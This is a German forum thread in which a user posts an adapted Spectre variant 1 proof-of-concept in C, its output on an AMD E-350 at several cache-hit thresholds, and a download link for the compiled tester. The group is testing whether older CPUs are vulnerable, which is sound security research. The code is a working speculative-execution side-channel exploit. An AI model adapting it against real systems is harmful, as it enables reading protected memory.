Auf dem E-350 findet er vereinzelte Datenfragmente erst ab einem CACHE_HIT_THRESHOLD (bzw. bei mir jetzt CacheHitTime) von ca. 215 (Einheit?). Bei 220 geht's dann schon massiv zur Sache, so dass viele Datenfragmente mit ähnlicher Zugriffszeit gefunden werden. Das ist auf jeden Fall nicht statistisch signifikant und er liest bei jedem Durchlauf auch was anderes aus.
Ich schließe daraus, dass der Bobcat die Daten für diesen Beispielcode nicht spekulativ in den Cache lädt und damit zumindest für dieses Beispiel nicht für Bounds Check Bypass anfällig ist.
Lustig wird's übrigens, wenn noch Hintergrundprozesse arbeiten. Die bringen einiges an Rauschen in die Zeitmessung für die Cache-Fragmente, so dass die Auslesegeschwindigkeit vermutlich stark sinken dürfte.
Hier noch die Kommandozeilenausgabe (40 Byte gelesen, Cache Hit Treshold bei 220, der Parameter "99999" wird ignoriert):
Sonst besitze ich hier nur noch einen Core 2 Duo (65 nm Memrom, 4 MB Cache) ebenfalls mit Win7 32 Bit Professional. Auf dem bekomme ich die Software gar nicht zu laufen. Der intrinsische Assembler-Befehl für die Zeitmessung (Code-Zeile: time1 = __rdtscp(&junk); /* READ TIMER */) bringt das Programm zum Absturz. Es könnte sein, dass man dafür eine Microsoft-C-DLL braucht. Das Windows auf dem E-350 hatte mal eine richtige Microsoft Entwicklungsumgebung für C/C++ gesehen, die nach dem Verlust der Lizenz deinstalliert wurde. Meist bleibt ja etwas zurück. Auf dem Core 2 Duo war sowas nie installiert.
Soviel zum Stand. Vielleicht will das ja mal jemand nachbauen, damit wir auch die anderen alten AMD-Prozessoren mal durchtesten können. Idealerweise mit einem MS-Compiler.
Ich habe hier keine Microsoft C-Entwicklungsumgebung sondern nur das kostenlose Code::blocks mit mingw für x86. Den Code musste ich ein klein wenig anpassen, damit das auch auf dem Freeware-Compiler läuft. Außerdem kann man jetzt das Cache-Hit-Delay einstellen. Vorher war ein Wert von 80 fest im Code (Einheit?). Das kann man jetzt beim Kommandozeilenaufruf mit vorgeben, wo da die Grenze liegt.
Das ganze ist von mir zugegeben ziemlich stümperhaft umgesetzt (bin kein Lowlevel-Programmierer, der für 10 % Geschwindigkeitszuwachs Assembler-Fragmente in seinen Code einbauen würde). Man führt die Exe von der Kommandozeile aus und übergibt drei Parameter. Der erste wird ignoriert (der stellt eigentlich die Speicheradresse ein, die "gehackt" werden soll). Der zweite stellt die Länge des auszulesenden Fragments ein und der dritte die Cache Hit Time (bzw. im Original den Cache Hit Threshold). Mit dem Dritten muss man etwas rumspielen, damit die Software überhaupt etwas im Cache-System findet. Zumindest bei mir.
Das ganze läuft auf einem Windows 7 32 Bit Professional mit einem AMD E-350 (Bobcat X2 @ 1,6 GHz).
Hier erstmal den Code für Codeblocks (als C-Projekt für die Kommandozeile):
Code:
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#ifdef _MSC_VER
#include <intrin.h> /* for rdtscp and clflush */
#pragma optimize("gt",on)
#else
#include <x86intrin.h> /* for rdtscp and clflush */
#include <emmintrin.h> /* Aenderung von Daniel, aus dem Internet gefischt für _mm_clflush*/
#endif
/********************************************************************
Victim code.
********************************************************************/
unsigned int array1_size = 16;
uint8_t unused1[64];
uint8_t array1[160] = { 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16 };
uint8_t unused2[64];
uint8_t array2[256 * 512];
char *secret = "The Magic Words are Squeamish Ossifrage.";
uint8_t temp = 0; /* Used so compiler won’t optimize out victim_function() */
void victim_function(size_t x) {
if (x < array1_size) {
temp &= array2[array1[x] * 512];
}
}
/********************************************************************
Analysis code
********************************************************************/
#define CACHE_HIT_THRESHOLD (200) /* assume cache hit if time <= threshold */
/* Report best guess in value[0] and runner-up in value[1] */
void readMemoryByte(size_t malicious_x, uint8_t value[2], int score[2], int CacheHitTime) {
static int results[256];
int tries, i, j, k, mix_i, junk = 0;
size_t training_x, x;
register uint64_t time1, time2;
volatile uint8_t *addr;
for (i = 0; i < 256; i++)
results[i] = 0;
for (tries = 999; tries > 0; tries--) {
/* Flush array2[256*(0..255)] from cache */
for (i = 0; i < 256; i++)
_mm_clflush(&array2[i * 512]); /* intrinsic for clflush instruction */
/* 30 loops: 5 training runs (x=training_x) per attack run (x=malicious_x) */
training_x = tries % array1_size;
for (j = 29; j >= 0; j--) {
_mm_clflush(&array1_size);
volatile int z = 0;
for ( z = 0; z < 100; z++) {} /* Delay (can also mfence) */
/* Bit twiddling to set x=training_x if j%6!=0 or malicious_x if j%6==0 */
/* Avoid jumps in case those tip off the branch predictor */
x = ((j % 6) - 1) & ~0xFFFF; /* Set x=FFF.FF0000 if j%6==0, else x=0 */
x = (x | (x >> 16)); /* Set x=-1 if j&6=0, else x=0 */
x = training_x ^ (x & (malicious_x ^ training_x));
/* Call the victim! */
victim_function(x);
}
/* Time reads. Order is lightly mixed up to prevent stride prediction */
for (i = 0; i < 256; i++) {
mix_i = ((i * 167) + 13) & 255;
addr = &array2[mix_i * 512];
time1 = __rdtscp(&junk); /* READ TIMER */
junk = *addr; /* MEMORY ACCESS TO TIME */
time2 = __rdtscp(&junk) - time1; /* READ TIMER & COMPUTE ELAPSED TIME */
if (time2 <= CacheHitTime && mix_i != array1[tries % array1_size])
results[mix_i]++; /* cache hit - add +1 to score for this value */
}
/* Locate highest & second-highest results results tallies in j/k */
j = k = -1;
for (i = 0; i < 256; i++) {
if (j < 0 || results[i] >= results[j]) {
k = j;
j = i;
} else if (k < 0 || results[i] >= results[k]) {
k = i;
}
}
if (results[j] >= (2 * results[k] + 5) || (results[j] == 2 && results[k] == 0))
break; /* Clear success if best is > 2*runner-up + 5 or 2/0) */
}
results[0] ^= junk; /* use junk so code above won’t get optimized out*/
value[0] = (uint8_t)j;
score[0] = results[j];
value[1] = (uint8_t)k;
score[1] = results[k];
}
int main(int argc, const char **argv) {
size_t malicious_x=(size_t)(secret-(char*)array1); /* default for malicious_x */
int i, score[2], len=40;
uint8_t value[2];
int CacheHitTime = 80;
for (i = 0; i < sizeof(array2); i++)
array2[i] = 1; /* write to array2 so in RAM not copy-on-write zero pages */
if (argc == 4) {
//sscanf(argv[1], "%p", (void**)(&malicious_x));
//malicious_x -= (size_t)array1; /* Convert input value into a pointer */
sscanf(argv[2], "%d", &len);
// Aenderung von Daniel: Auch die Cache-Hit-Zeit (wie auch immer gemessen) soll ein Parameter werden
sscanf(argv[3], "%d", &CacheHitTime);
//sscanf(argv[3], "%d", %CacheHitTime);
}
printf("Reading %d bytes:\n", len);
printf("Cache-Hit-Time = %d\n", CacheHitTime);
while (--len >= 0) {
printf("Reading at malicious_x = %p... ", (void*)malicious_x);
readMemoryByte(malicious_x++, value, score, CacheHitTime);
printf("%s: ", (score[0] >= 2*score[1] ? "Success" : "Unclear"));
//printf("0x%02X=’%c’ score=%d ", value[0], (value[0] > 31 && value[0] < 127 ? value[0] : ’?’), score[0]);
printf("0x%02X='%c' score=%d ", value[0], (value[0] > 31 && value[0] < 127 ? value[0] : '?'), score[0]);
//printf("\n%c\n", value[0]);
if (score[1] > 0)
printf("(second best: 0x%02X score=%d)", value[1], score[1]);
printf("\n");
}
return (0);
}
Wenn man's mit Codeblocks kompilieren will, muss man noch die SSE2-Erweiterung aktivieren (bei mir über march für einen Core2Duo), sonst gibt es einen Compiler-Fehler.
Auf dem E-350 findet er vereinzelte Datenfragmente erst ab einem CACHE_HIT_THRESHOLD (bzw. bei mir jetzt CacheHitTime) von ca. 215 (Einheit?). Bei 220 geht's dann schon massiv zur Sache, so dass viele Datenfragmente mit ähnlicher Zugriffszeit gefunden werden. Das ist auf jeden Fall nicht statistisch signifikant und er liest bei jedem Durchlauf auch was anderes aus.
Ich schließe daraus, dass der Bobcat die Daten für diesen Beispielcode nicht spekulativ in den Cache lädt und damit zumindest für dieses Beispiel nicht für Bounds Check Bypass anfällig ist.
Lustig wird's übrigens, wenn noch Hintergrundprozesse arbeiten. Die bringen einiges an Rauschen in die Zeitmessung für die Cache-Fragmente, so dass die Auslesegeschwindigkeit vermutlich stark sinken dürfte.
Hier noch die Kommandozeilenausgabe (40 Byte gelesen, Cache Hit Treshold bei 220, der Parameter "99999" wird ignoriert):
Code:
C:\Daten\Daten\C++\Spectre-Tester\bin\Release>Spectre-Tester.exe 99999 40 220
Reading 40 bytes:
Cache-Hit-Time = 220
Reading at malicious_x = 000010E8... Unclear: 0xD1='?' score=637 (second best: 0
x4F score=623)
Reading at malicious_x = 000010E9... Unclear: 0xD0='?' score=672 (second best: 0
x4E score=669)
Reading at malicious_x = 000010EA... Unclear: 0xE3='?' score=795 (second best: 0
x53 score=792)
Reading at malicious_x = 000010EB... Unclear: 0xCE='?' score=634 (second best: 0
xC8 score=627)
Reading at malicious_x = 000010EC... Unclear: 0xD1='?' score=340 (second best: 0
xD0 score=337)
Reading at malicious_x = 000010ED... Unclear: 0xCE='?' score=393 (second best: 0
x4E score=392)
Reading at malicious_x = 000010EE... Unclear: 0x1A='?' score=794 (second best: 0
x51 score=792)
Reading at malicious_x = 000010EF... Unclear: 0xCF='?' score=384 (second best: 0
xD2 score=375)
Reading at malicious_x = 000010F0... Unclear: 0x1A='?' score=800 (second best: 0
x49 score=799)
Reading at malicious_x = 000010F1... Unclear: 0xD1='?' score=645 (second best: 0
x4D score=637)
Reading at malicious_x = 000010F2... Unclear: 0xD4='?' score=694 (second best: 0
x56 score=693)
Reading at malicious_x = 000010F3... Unclear: 0x4E='N' score=708 (second best: 0
xC1 score=703)
Reading at malicious_x = 000010F4... Unclear: 0xD0='?' score=482 (second best: 0
xD1 score=475)
Reading at malicious_x = 000010F5... Unclear: 0xCE='?' score=441 (second best: 0
x4F score=433)
Reading at malicious_x = 000010F6... Unclear: 0xD1='?' score=736 (second best: 0
xD5 score=733)
Reading at malicious_x = 000010F7... Unclear: 0x56='V' score=721 (second best: 0
xD5 score=712)
Reading at malicious_x = 000010F8... Unclear: 0x4F='O' score=606 (second best: 0
xD2 score=594)
Reading at malicious_x = 000010F9... Unclear: 0xD0='?' score=799 (second best: 0
xF0 score=797)
Reading at malicious_x = 000010FA... Unclear: 0xD5='?' score=727 (second best: 0
x53 score=723)
Reading at malicious_x = 000010FB... Unclear: 0xD5='?' score=737 (second best: 0
xD0 score=728)
Reading at malicious_x = 000010FC... Unclear: 0x4E='N' score=627 (second best: 0
xC7 score=619)
Reading at malicious_x = 000010FD... Unclear: 0xD1='?' score=723 (second best: 0
xCE score=722)
Reading at malicious_x = 000010FE... Unclear: 0xD0='?' score=642 (second best: 0
x4E score=642)
Reading at malicious_x = 000010FF... Unclear: 0xCF='?' score=610 (second best: 0
x48 score=609)
Reading at malicious_x = 00001100... Unclear: 0x53='S' score=714 (second best: 0
xD0 score=709)
Reading at malicious_x = 00001101... Unclear: 0xD1='?' score=727 (second best: 0
x4A score=714)
Reading at malicious_x = 00001102... Unclear: 0xCA='?' score=723 (second best: 0
xCF score=712)
Reading at malicious_x = 00001103... Unclear: 0x4F='O' score=586 (second best: 0
xD2 score=577)
Reading at malicious_x = 00001104... Unclear: 0x4F='O' score=617 (second best: 0
xD5 score=612)
Reading at malicious_x = 00001105... Unclear: 0x4E='N' score=781 (second best: 0
x6D score=780)
Reading at malicious_x = 00001106... Unclear: 0xC8='?' score=704 (second best: 0
xCF score=696)
Reading at malicious_x = 00001107... Unclear: 0x4F='O' score=698 (second best: 0
x4E score=689)
Reading at malicious_x = 00001108... Unclear: 0x4F='O' score=743 (second best: 0
x4E score=737)
Reading at malicious_x = 00001109... Unclear: 0x4F='O' score=795 (second best: 0
x49 score=793)
Reading at malicious_x = 0000110A... Unclear: 0x56='V' score=635 (second best: 0
xD5 score=614)
Reading at malicious_x = 0000110B... Unclear: 0xD5='?' score=654 (second best: 0
x49 score=648)
Reading at malicious_x = 0000110C... Unclear: 0x4E='N' score=725 (second best: 0
xD5 score=721)
Reading at malicious_x = 0000110D... Unclear: 0x4F='O' score=705 (second best: 0
x1A score=698)
Reading at malicious_x = 0000110E... Unclear: 0x53='S' score=618 (second best: 0
xD1 score=613)
Reading at malicious_x = 0000110F... Unclear: 0xD0='?' score=716 (second best: 0
x4E score=713)
Sonst besitze ich hier nur noch einen Core 2 Duo (65 nm Memrom, 4 MB Cache) ebenfalls mit Win7 32 Bit Professional. Auf dem bekomme ich die Software gar nicht zu laufen. Der intrinsische Assembler-Befehl für die Zeitmessung (Code-Zeile: time1 = __rdtscp(&junk); /* READ TIMER */) bringt das Programm zum Absturz. Es könnte sein, dass man dafür eine Microsoft-C-DLL braucht. Das Windows auf dem E-350 hatte mal eine richtige Microsoft Entwicklungsumgebung für C/C++ gesehen, die nach dem Verlust der Lizenz deinstalliert wurde. Meist bleibt ja etwas zurück. Auf dem Core 2 Duo war sowas nie installiert.
Soviel zum Stand. Vielleicht will das ja mal jemand nachbauen, damit wir auch die anderen alten AMD-Prozessoren mal durchtesten können. Idealerweise mit einem MS-Compiler.
Zuletzt bearbeitet:
Es gibt eine kostenlose Version von Visual Studio 2017 (Community):... Ich habe hier keine Microsoft C-Entwicklungsumgebung ... man dafür eine Microsoft-C-DLL braucht. Das Windows auf dem E-350 hatte mal eine richtige Microsoft Entwicklungsumgebung für C/C++ gesehen, die nach dem Verlust der Lizenz deinstalliert wurde. Meist bleibt ja etwas zurück. Auf dem Core 2 Duo war sowas nie installiert.
Soviel zum Stand. Vielleicht will das ja mal jemand nachbauen, damit wir auch die anderen alten AMD-Prozessoren mal durchtesten können. Idealerweise mit einem MS-Compiler.
https://www.visualstudio.com/vs/community/
oder
die letzte Version von Visual Studio Express (2017 for Windows Desktop):
http://aka.ms/vs/15/release/vs_WDExpress.exe
(Achtung, das ist schon der Downloadlink)
Visual Studio scheint es nicht mehr als Download-Link zu geben. Es gibt von Microsoft ja auch die Visual C++ 2015 Build Tools (da braucht man in Codeblocks nur den Compiler umstellen). Er droht mir jedoch 4 GB Download-Volumen an, was ohne DSL schlicht nicht geht. Da muss sich jemand anderes drum kümmern.
Welches Visual Studio meinst du?Visual Studio scheint es nicht mehr als Download-Link zu geben. Es gibt von Microsoft ja auch die Visual C++ 2015 Build Tools (da braucht man in Codeblocks nur den Compiler umstellen). Er droht mir jedoch 4 GB Download-Volumen an, was ohne DSL schlicht nicht geht. Da muss sich jemand anderes drum kümmern.
Für die Express-Version steht der Downloadlink im Beitrag #71.
Für die Community-Version hier der Downloadlink:
https://www.visualstudio.com/thank-you-downloading-visual-studio/?sku=Community&rel=15
Beide Links funktionieren bei mir.
Ja, habe ich gesehen. Mit den 3 MB ist es aber nicht getan. Die eigentlichen Installationsdateien lädt er dann aus dem Netz nach. Installiert man nur die Compiler der 2015er Suite (ohne "GUI"), will er vier Gigabyte auf der Festplatte reservieren. Das geht halt hier nicht.
Wer will, kann aber etwas mit der von mir compilierten Variante herum spielen. Hier ist der Quellcode sowie die ausführbare Datei (im Unterverzeichnis \bin\release\). Falls jemand dran rumbauen will: Die IDE-Variante ist Code::Blocks 13.12 (x86) mit dem mingw-Compiler.
http://foveon.de/cp/Spectre-Tester.7z
Der Kommandozeilenaufruf (in der Windowssuche "cmd" eingeben) erfolgt wie folgt:
a) in das Verzeichnis steuern (mittels cd.. und cd xxxxx)
b) Spectre-Tester.exe 9 40 215
Der erste Wert ist ohne Belang. Der zweite Wert ist die Zahl der Bytes, die er zu knacken versucht. Der dritte Wert ist der Cache-Hit-Treshold (dessen Einheit ich nicht kenne). Beim AMD Bobcat braucht man etwas um die 215 Cache-Hit-Threshold. Bei schnelleren CPUs vermutlich weniger. Da muss man mal etwas spielen. Wählt man den Wert zu niedrig, bekommt man soetwas:
Da trifft er hin und wieder mal einen Datenblock im Cache an. Hin und wieder heißt, dass er 1000 Versuche unternimmt, den Block zu lesen (siehe Quellcode oben). Bei score=1 hat es einmal funktioniert, also in 1 Promille der Versuche.
Wählt man den Wert "richtig", bekommt man so etwas:
Bei Score 19 hätte er es in 1,9% der Fälle im Cache gefunden. Beim Bobcat ist es so, dass er bei Cache-Hit-Threshold 200 (Einheit?) fast nix im Cache vorfindet, und bei 230 (?) viele Blöcke schon mit >80% im Cache findet. Insofern funktioniert der Angriff da wohl nicht so einfach.
Man könnte das jetzt mit ein wenig Programmierzeit so ausfeilen, dass die Software das Cache-Hit-Threshold selbst ausixt und man nicht nur die häufigst und zweit-häufigst angetroffene Speicherseite auswertet, sondern auch etwas mehr Statistik mit den weiteren Treffern treibt. Ist mir jetzt aber zu aufwändig.
Wer will, kann aber etwas mit der von mir compilierten Variante herum spielen. Hier ist der Quellcode sowie die ausführbare Datei (im Unterverzeichnis \bin\release\). Falls jemand dran rumbauen will: Die IDE-Variante ist Code::Blocks 13.12 (x86) mit dem mingw-Compiler.
http://foveon.de/cp/Spectre-Tester.7z
Der Kommandozeilenaufruf (in der Windowssuche "cmd" eingeben) erfolgt wie folgt:
a) in das Verzeichnis steuern (mittels cd.. und cd xxxxx)
b) Spectre-Tester.exe 9 40 215
Der erste Wert ist ohne Belang. Der zweite Wert ist die Zahl der Bytes, die er zu knacken versucht. Der dritte Wert ist der Cache-Hit-Treshold (dessen Einheit ich nicht kenne). Beim AMD Bobcat braucht man etwas um die 215 Cache-Hit-Threshold. Bei schnelleren CPUs vermutlich weniger. Da muss man mal etwas spielen. Wählt man den Wert zu niedrig, bekommt man soetwas:
Code:
C:\Daten\Daten\C++\Spectre-Tester\bin\Release>Spectre-Tester.exe 9 40 200
Reading 40 bytes:
Cache-Hit-Time = 200
Reading at malicious_x = 000010E8... Success: 0xFF='?' score=0
Reading at malicious_x = 000010E9... Unclear: 0xE2='?' score=1 (second best: 0x8
9 score=1)
Reading at malicious_x = 000010EA... Success: 0xFF='?' score=0
Reading at malicious_x = 000010EB... Success: 0xFF='?' score=0
Reading at malicious_x = 000010EC... Success: 0xFF='?' score=0
Reading at malicious_x = 000010ED... Unclear: 0xF9='?' score=1 (second best: 0xE
E score=1)
Reading at malicious_x = 000010EE... Unclear: 0xB5='?' score=1 (second best: 0xA
A score=1)
Reading at malicious_x = 000010EF... Success: 0xFF='?' score=0
Reading at malicious_x = 000010F0... Success: 0xFF='?' score=0
Reading at malicious_x = 000010F1... Success: 0xFF='?' score=0
Reading at malicious_x = 000010F2... Success: 0xFF='?' score=0
Reading at malicious_x = 000010F3... Success: 0xFF='?' score=0
Reading at malicious_x = 000010F4... Success: 0xFF='?' score=0
Reading at malicious_x = 000010F5... Success: 0xFF='?' score=0
Reading at malicious_x = 000010F6... Success: 0xFF='?' score=0
Reading at malicious_x = 000010F7... Unclear: 0xA9='?' score=1 (second best: 0x7
A score=1)
Reading at malicious_x = 000010F8... Success: 0xFF='?' score=0
Reading at malicious_x = 000010F9... Success: 0xFF='?' score=0
Reading at malicious_x = 000010FA... Success: 0xFF='?' score=0
Reading at malicious_x = 000010FB... Success: 0xFF='?' score=0
Reading at malicious_x = 000010FC... Success: 0xFF='?' score=0
Reading at malicious_x = 000010FD... Success: 0xFF='?' score=0
Reading at malicious_x = 000010FE... Success: 0xFF='?' score=0
Reading at malicious_x = 000010FF... Success: 0xFF='?' score=0
Reading at malicious_x = 00001100... Success: 0xFF='?' score=0
Reading at malicious_x = 00001101... Unclear: 0xC4='?' score=1 (second best: 0xB
9 score=1)
Reading at malicious_x = 00001102... Success: 0xFF='?' score=0
Reading at malicious_x = 00001103... Success: 0xFF='?' score=0
Reading at malicious_x = 00001104... Success: 0xFF='?' score=0
Reading at malicious_x = 00001105... Success: 0xFF='?' score=0
Reading at malicious_x = 00001106... Success: 0xFF='?' score=0
Reading at malicious_x = 00001107... Unclear: 0xF8='?' score=1 (second best: 0xE
D score=1)
Reading at malicious_x = 00001108... Unclear: 0xFB='?' score=1 (second best: 0xA
D score=1)
Reading at malicious_x = 00001109... Success: 0xFF='?' score=0
Reading at malicious_x = 0000110A... Success: 0xFF='?' score=0
Reading at malicious_x = 0000110B... Success: 0xFF='?' score=0
Reading at malicious_x = 0000110C... Success: 0xFF='?' score=0
Reading at malicious_x = 0000110D... Unclear: 0x5D=']' score=1 (second best: 0x0
4 score=1)
Reading at malicious_x = 0000110E... Success: 0xFF='?' score=0
Reading at malicious_x = 0000110F... Success: 0xFF='?' score=0
Da trifft er hin und wieder mal einen Datenblock im Cache an. Hin und wieder heißt, dass er 1000 Versuche unternimmt, den Block zu lesen (siehe Quellcode oben). Bei score=1 hat es einmal funktioniert, also in 1 Promille der Versuche.
Wählt man den Wert "richtig", bekommt man so etwas:
Code:
C:\Daten\Daten\C++\Spectre-Tester\bin\Release>Spectre-Tester.exe 9 40 210
Reading 40 bytes:
Cache-Hit-Time = 210
Reading at malicious_x = 000010E8... Success: 0x0D='?' score=21 (second best: 0x
50 score=8)
Reading at malicious_x = 000010E9... Unclear: 0xD2='?' score=59 (second best: 0x
4E score=58)
Reading at malicious_x = 000010EA... Unclear: 0x0D='?' score=86 (second best: 0x
4E score=84)
Reading at malicious_x = 000010EB... Success: 0x0D='?' score=27 (second best: 0x
CF score=11)
Reading at malicious_x = 000010EC... Success: 0x0D='?' score=23 (second best: 0x
60 score=9)
Reading at malicious_x = 000010ED... Success: 0x0D='?' score=87 (second best: 0x
D4 score=41)
Reading at malicious_x = 000010EE... Success: 0x0D='?' score=25 (second best: 0x
65 score=10)
Reading at malicious_x = 000010EF... Success: 0x0D='?' score=25 (second best: 0x
D2 score=10)
Reading at malicious_x = 000010F0... Success: 0x0D='?' score=69 (second best: 0x
D1 score=32)
Reading at malicious_x = 000010F1... Success: 0x0D='?' score=21 (second best: 0x
56 score=8)
Reading at malicious_x = 000010F2... Success: 0x0D='?' score=27 (second best: 0x
4A score=11)
Reading at malicious_x = 000010F3... Success: 0x0D='?' score=95 (second best: 0x
53 score=45)
Reading at malicious_x = 000010F4... Success: 0x0D='?' score=21 (second best: 0x
D4 score=8)
Reading at malicious_x = 000010F5... Success: 0x0D='?' score=27 (second best: 0x
D5 score=11)
Reading at malicious_x = 000010F6... Success: 0x0D='?' score=17 (second best: 0x
D3 score=6)
Reading at malicious_x = 000010F7... Success: 0x0D='?' score=21 (second best: 0x
56 score=8)
Reading at malicious_x = 000010F8... Success: 0x0D='?' score=27 (second best: 0x
48 score=11)
Reading at malicious_x = 000010F9... Success: 0x0D='?' score=19 (second best: 0x
CA score=7)
Reading at malicious_x = 000010FA... Success: 0x0D='?' score=17 (second best: 0x
C9 score=6)
Reading at malicious_x = 000010FB... Success: 0x0D='?' score=21 (second best: 0x
CF score=8)
Reading at malicious_x = 000010FC... Success: 0x0D='?' score=21 (second best: 0x
CF score=8)
Reading at malicious_x = 000010FD... Success: 0x0D='?' score=19 (second best: 0x
32 score=7)
Reading at malicious_x = 000010FE... Success: 0x0D='?' score=71 (second best: 0x
CE score=33)
Reading at malicious_x = 000010FF... Success: 0x0D='?' score=19 (second best: 0x
43 score=7)
Reading at malicious_x = 00001100... Success: 0x0D='?' score=93 (second best: 0x
4D score=44)
Reading at malicious_x = 00001101... Success: 0x0D='?' score=19 (second best: 0x
E9 score=7)
Reading at malicious_x = 00001102... Success: 0x0D='?' score=39 (second best: 0x
CF score=17)
Reading at malicious_x = 00001103... Success: 0x0D='?' score=23 (second best: 0x
D5 score=9)
Reading at malicious_x = 00001104... Success: 0x0D='?' score=31 (second best: 0x
4D score=13)
Reading at malicious_x = 00001105... Unclear: 0xCF='?' score=77 (second best: 0x
4F score=74)
Reading at malicious_x = 00001106... Unclear: 0xD1='?' score=108 (second best: 0
xD2 score=90)
Reading at malicious_x = 00001107... Success: 0x0D='?' score=41 (second best: 0x
4C score=18)
Reading at malicious_x = 00001108... Success: 0x0D='?' score=15 (second best: 0x
D2 score=5)
Reading at malicious_x = 00001109... Success: 0x0D='?' score=25 (second best: 0x
D0 score=10)
Reading at malicious_x = 0000110A... Success: 0x0D='?' score=29 (second best: 0x
D5 score=12)
Reading at malicious_x = 0000110B... Success: 0x0D='?' score=51 (second best: 0x
D1 score=23)
Reading at malicious_x = 0000110C... Success: 0x0D='?' score=11 (second best: 0x
D2 score=3)
Reading at malicious_x = 0000110D... Success: 0x0D='?' score=27 (second best: 0x
9B score=11)
Reading at malicious_x = 0000110E... Success: 0x0D='?' score=21 (second best: 0x
C7 score=8)
Reading at malicious_x = 0000110F... Success: 0x0D='?' score=19 (second best: 0x
4B score=7)
Man könnte das jetzt mit ein wenig Programmierzeit so ausfeilen, dass die Software das Cache-Hit-Threshold selbst ausixt und man nicht nur die häufigst und zweit-häufigst angetroffene Speicherseite auswertet, sondern auch etwas mehr Statistik mit den weiteren Treffern treibt. Ist mir jetzt aber zu aufwändig.
Deine Festplatte ist so voll, dass keine 4 GB mehr draufpassen?... will er vier Gigabyte auf der Festplatte reservieren. Das geht halt hier nicht. ...
Wir schreiben das Jahr 2018 AD.
Ähnliche Themen
- Antworten
- 47
- Aufrufe
- 3K
- Antworten
- 3
- Aufrufe
- 1K